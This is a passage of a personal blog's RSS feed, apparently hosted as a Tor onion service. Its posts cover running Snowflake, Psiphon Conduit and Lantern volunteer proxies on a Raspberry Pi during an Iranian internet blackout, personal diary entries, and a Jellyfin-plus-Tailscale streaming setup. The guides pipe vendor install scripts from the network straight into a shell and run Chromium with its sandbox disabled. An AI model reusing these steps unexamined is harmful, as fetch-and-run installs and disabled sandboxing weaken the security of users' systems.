    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    +
    + + Blackout + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/blackout/ + Mon, 26 Jan 2026 07:21:51 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/blackout/ + I tried to be more useful, but when I couldn&#39;t, I found another way. + Ever since the latest Internet/communication blackout in Iran, I’ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven’t opened it again.

    +

    After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so.

    +

    One important vibe check before we start: I’m not giving anyone a custom “backdoor” into your network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as volunteer nodes inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself.

    +

    Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever)

    +

    I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born.

    +

    So I turned my Pis into helpers.

    +

    This post is about running three different anti‑censorship tools on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals:

    +
      +
    • Psiphon Conduit – to help Psiphon users automatically
    • +
    • Tor Snowflake (standalone proxy) – to help Tor users automatically
    • +
    • Lantern Unbounded – a browser‑based volunteer bridge, daemonized so it runs forever
    • +
    +

    Everything runs headless (or headless‑ish), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive.

    +
    +

    The philosophy: don’t be a public server, be a volunteer node

    +

    A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house.

    +

    Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX.

    +

    That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”.

    +
    +

    What you need (one time)

    +

    This guide assumes Ubuntu on ARM (Pi). It works on a normal server too.

    +

    First, install Docker (because containers are a gift):

    +
    sudo apt update
    +sudo apt install -y curl
    +curl -fsSL https://get.docker.com -o get-docker.sh
    +sudo sh get-docker.sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +

    Now make yourself a clean playground under /srv:

    +
    sudo mkdir -p /srv/{conduit,snowflake,lantern}
    +sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern}
    +

    I like /srv because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am.

    +
    +

    Conduit: quietly helping Psiphon users (Docker)

    +

    Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required.

    +

    The important part is persistence. Conduit generates an identity key the first time it runs (conduit_key.json), and that identity builds reputation over time. If you lose it, you start from zero again.

    +

    The file: /srv/conduit/docker-compose.yml

    +

    Create it:

    +
    cd /srv/conduit
    +vim docker-compose.yml
    +

    Paste this:

    +
    services:
    +  conduit:
    +    image: ghcr.io/ssmirr/conduit/conduit:latest
    +    container_name: conduit
    +    restart: unless-stopped
    +
    +    # Keep keys and state across restarts
    +    volumes:
    +      - ./data:/app/data
    +
    +    # Optional: if you want a different bandwidth limit / max clients,
    +    # you can pass CLI flags here (these are examples).
    +    # command: ["conduit", "start", "-b", "4", "-c", "8"]
    +

    Then bring it up:

    +
    docker compose up -d
    +docker logs -f conduit
    +

    When it’s working, you’ll see things like:

    +
      +
    • [OK] Connected to Psiphon network
    • +
    • periodic [STATS] lines with Connecting/Connected counters (that’s your “is anyone using this?” moment)
    • +
    +

    If you ever want to stop it:

    +
    docker stop conduit
    +

    Or “disable but keep everything” (recommended):

    +
    docker compose down
    +

    Or “delete it from orbit” (not recommended unless you enjoy rebuilding):

    +
    docker rm -f conduit
    +

    +

    Snowflake: Tor, but even quieter (Docker Compose)

    +

    Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes watchtower for automatic updates.

    +

    The file: /srv/snowflake/docker-compose.yml

    +

    You can download the official file exactly like this:

    +
    cd /srv/snowflake
    +wget -O docker-compose.yml \
    +  "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads"
    +

    If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML:

    +
    services:
    +  snowflake-proxy:
    +    network_mode: host
    +    image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest
    +    container_name: snowflake-proxy
    +    restart: unless-stopped
    +
    +    # For a full list of Snowflake proxy args, see the upstream docs.
    +    # Example if you ever need it:
    +    # command: ["-ephemeral-ports-range", "30000:60000"]
    +
    +  watchtower:
    +    image: containrrr/watchtower
    +    container_name: watchtower
    +    restart: unless-stopped
    +    volumes:
    +      - /var/run/docker.sock:/var/run/docker.sock
    +    command: snowflake-proxy
    +

    Start it (with auto updates):

    +
    docker compose up -d
    +docker logs -f snowflake-proxy
    +

    If you see:

    +
    Proxy starting
    +NAT type: restricted
    +

    …that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping.

    +

    If you get the “container name already in use” error, it just means you already have a snowflake-proxy container from a previous attempt. Fix it with:

    +
    docker rm -f snowflake-proxy
    +docker compose up -d
    +

    +

    Lantern Unbounded: a browser that helps people (systemd + Xvfb)

    +

    Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”.

    +

    So we cheat — politely.

    +

    We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps.

    +

    Install what we need

    +
    sudo apt update
    +sudo apt install -y xvfb
    +sudo apt install -y chromium-browser || sudo apt install -y chromium
    +

    Fix the X11 socket dir permissions (the annoying but essential part)

    +

    If you don’t do this, Xvfb may throw:

    +

    _XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.

    +

    Fix it once:

    +
    sudo chmod 1777 /tmp
    +sudo mkdir -p /tmp/.X11-unix
    +sudo chown root:root /tmp/.X11-unix
    +sudo chmod 1777 /tmp/.X11-unix
    +

    The file: /etc/systemd/system/unbounded.service

    +

    Pick your username. On my boxes, it’s either hub or rpi. Use your actual user.

    +

    Create the service:

    +
    sudo vim /etc/systemd/system/unbounded.service
    +

    Paste this, and replace YOUR_USER with your username (e.g. hub or rpi):

    +
    [Unit]
    +Description=Lantern Unbounded (Xvfb + Chromium)
    +After=network-online.target
    +Wants=network-online.target
    +
    +[Service]
    +User=YOUR_USER
    +Environment=DISPLAY=:99
    +Environment=XDG_RUNTIME_DIR=/run/user/%U
    +
    +ExecStart=/usr/bin/bash -lc '\
    +  /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \
    +  sleep 1; \
    +  $(command -v chromium || command -v chromium-browser) \
    +    --no-first-run \
    +    --disable-breakpad \
    +    --disable-features=TranslateUI \
    +    --autoplay-policy=no-user-gesture-required \
    +    --use-fake-ui-for-media-stream \
    +    --disable-gpu \
    +    --no-sandbox \
    +    --app=https://unbounded.lantern.io/ \
    +    --kiosk \
    +    --window-size=1280,720 \
    +    --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \
    +    --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \
    +'
    +
    +Restart=always
    +RestartSec=5
    +KillMode=mixed
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Enable and start:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now unbounded.service
    +systemctl status unbounded.service --no-pager
    +

    If you see Active: active (running), you’ve won.

    +

    “It runs headless-ish, but how do I know it’s alive?”

    +

    The simplest “is it on?” checks:

    +
    systemctl status unbounded.service --no-pager
    +journalctl -u unbounded.service -f
    +

    And the “is it actually doing network things?” check:

    +
    sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true
    +

    If you ever want to stop it:

    +
    sudo systemctl stop unbounded.service
    +

    If you want it not to start on boot:

    +
    sudo systemctl disable unbounded.service
    +

    +

    A note on safety, legality, and expectations

    +

    None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running.

    +

    The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts.

    +

    That’s the part I like.

    +
    +

    The quiet satisfaction of it all

    +

    There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t.

    +

    No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by.

    +

    And honestly? That’s enough.

    +
    +

    Some rants

    +

    I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we’ve been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom’s face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :(

    +

    This is super sad and frustrating. I’ve not really been writing anything due to this. When I came back from my congress + Vienna trip, I’ve been dealing with this situation. It’s just annoying. Let’s cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh… :(

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSoETRAAm6hrWmkHuZeV8JvwSruIuOLkb5LjziFswHUJ8eHrkS+WczSN1mgw5rrx
    +A7pKwjInH+uf/gs3u84Fx9rrgwPTfLQN+++iuDYobWddwFWvXyCpJ/nBene2i8Dr
    +EwLxgEHAAUEDVmhQLv0TkRdFwhc4Rsds5ajDZHgWzj1GPw6SLpH4QCe02fvBm4Xu
    +5E+QArl1w47DLJMktoxCT/8tTRtEdls8hwu5WHRJmq3PLJmC9ScSrUmN3S9k3Nrj
    +Ue5mkkZB25fCojBfRkfska9iYsASi2WxuKLsoiqbRqvi2KdgZ7OIGZM5HRUf9WNH
    +XEBD36MCgXA3YEjZPhBrVbOXsqosa5MLiV7XD684K6YsKf37hxqZC7p+XhtcHxwh
    +Pg6AkODzJuZJV2h75UhqHiLSB9xhpX1mtV8IaToyiGRjnLuDthEDsFe7JjejF2cx
    +EXK9Jop7SSqAbB95WsLiWZtvaBgmcyv7XLoe9v5xAm0HyQ97Jn84hnXB1d8QQon7
    +YYCMNgyLDMo7TlI4HPmgVQYU7/P4xbo6cBdOicif8N+kj0Pf6uFQZ8TB+/Grqsgo
    +xqyrVpCTo/FjabJc8ybN36GwuZVMXpkl3etf2Tmls4A4jDP6CsB5F9vcRnVHyeic
    +pihbZa4Gb9GZTdFmFAHuXVHyVU9APRAq9MMmrUJB9oJgvCOM+Cw=
    +=t4W3
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/blackout.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/blackout.md.asc
    +gpg --verify blackout.md.asc blackout.md
    +  
    +
    + + +]]>
    +
    + + 2025 Highlight + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/2025_highlight/ + Mon, 05 Jan 2026 18:53:54 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/2025_highlight/ + <p>I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) +Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.</p> + I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) +Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.

    +

    After this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend’s NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We’ve been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I’m getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc..

    +

    Bonus: Remember I said we went to a Sushi place? I’ve been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I’m so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that “we were eating across the hall, and I noticed how pretty she is!”. They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn’t want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSqqgw//YtZhSWMZxoRDP7DCvFwPU5XFvNzAbfRV7vbCjA0YTosI2zHVQpu0Os11
    +vHLyI6P0331AlPtEjcZG0ZLLreCDSOZjh9sZHgdoCMUyG5brdS2fIsMlFmPT5bj8
    +Ns61MOe4BYsKJF6/Uzt1aT8Pf21M2a5qgJ8GZ4hKh+dxU4LtSIp6CaGNHH6mrhq5
    +LjY8rbQtJE2KzsuGevf4NNSQAhZGwxUlwfUsdreRFTWSVDpv7Tjwa/4Go+hE/0n0
    +HWcmIsQgBMiu+XEN5R8jCmW+IZ4uN0FMW6Y+IlfLKNmhhTCj/e+2kO3mxP5TPltf
    +2B72vMhhca6xTW3yGIUh0C/QQz7CqCxB0KMsAQrO2ebwEZCkPspahxqoXL9E1QNy
    +JIafzVNz9tIDe1SfnP9NnxQ+gNu8WIyPA96nUNDyhQyE3mgP6m68LKePrRHaJ1Zu
    +5xpuA8nesJsD9oM+ryzcFgHzbPmu9Syub9xczWHYNParjS/34FzGZ7/kT6kKZCE2
    +cxIGSe7G53FL4ONXL/mQf7C2z5JwcRz0PJ2vstNEv/7oYF11jpvt0OsR9QjbxdF1
    +Msj9Hqs9rr9ylBYWztWmXws7SYuoZRdoC4M6lGucLsbcK+FjAvby+KYBObc/mbB4
    +ANszhS/yDDQIQwXJcmpKVpRWqE/eLTJGKndCinUsUnTnJ30mtr0=
    +=T3Em
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/2025_highlight.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/2025_highlight.md.asc
    +gpg --verify 2025_highlight.md.asc 2025_highlight.md
    +  
    +
    + + +]]>
    +
    + + Seeing the "Light" + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/seeing_the_light/ + Thu, 25 Dec 2025 11:26:04 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/seeing_the_light/ + <p>I have a strong hunch that I made it. I beat my MDD. I&rsquo;m finally happy! I&rsquo;m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.</p> +<p>Currently I&rsquo;m sitting in Hamburg&rsquo;s CCH, being an Angel in disguise. ;D</p> +<p>I could not land myself any shifts before 1600, so I have to sit around and wait, and blog.</p> + I have a strong hunch that I made it. I beat my MDD. I’m finally happy! I’m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.

    +

    Currently I’m sitting in Hamburg’s CCH, being an Angel in disguise. ;D

    +

    I could not land myself any shifts before 1600, so I have to sit around and wait, and blog.

    +

    I also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he’s been wanting to talk to me about… well… something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about.

    +

    He kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to “give time to time”. So… yea. Idk. She will probably talk to me about this as time goes on. I don’t want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch.

    +

    Another funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it.

    +

    As time goes by, and as I become more experienced, I feel more relieved.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr7aBAAgOSc2FBGLiHK+6odcxj1VJGnhkV2ibMv8M1e1v1qzIu8wpBBhOzP/XCm
    +YQhFqtn6LIB2XWMnKjLagYTNgn8jWirAHC95QkoILsoAdShPvh57Tt+DKmZnHJlz
    +siRwHqE/+peFHpqfjwUf7GLzF/AeiFD3Se3nSPjRe4olRiUDMMhPvNDBW1seQqKn
    +y4CzVsjVClxVCyUf4b361F07+XuGv3kmKOnWTV3suLZykpWpxiQTRdq+jI7DBZKK
    +ZKimruFbc7iYVaQOs0biNXL2MFn9JXEvqAApPkkJ85JfVwvhDieThu+sw0+EQoc0
    +riFVnb2+TK1OSkAu7w7HFLcUY0gGZ4+lrmTQDpsEO69xcFXMyZZQDW/B4qnj2qo0
    +kp267oEPRToficNjpTKu0VhKtEaDNh5JMasxSEdwzehNp6K1Hp6LdRiVPEArWnxZ
    +jL35SgQzElB5ifYy3CYjTj2CA/qxC01OZrzoPbia9RLsdFBJEscYrSGBAqqRgZ/+
    +KTK/nsubJQtXF0Ui7fCZS/Dv4iR3tH0hyDi+w+mYWRzzFq0jnQsBYYu3QmjuhU+V
    +hfZHIYkH3yQV7k4XCa3wpMvnwC7I1od4ZmCjB98ITaz8U+BVHRT//Y2w6Xnd1OJi
    +terYCiMGVC5sJzaUw8ZGfMf0l78J8X8B5KD+ZBtAs12NdekX/V4=
    +=xRmw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/seeing_the_light.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/seeing_the_light.md.asc
    +gpg --verify seeing_the_light.md.asc seeing_the_light.md
    +  
    +
    + + +]]>
    +
    + + Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + Sun, 21 Dec 2025 09:30:00 +0100 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later. + Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
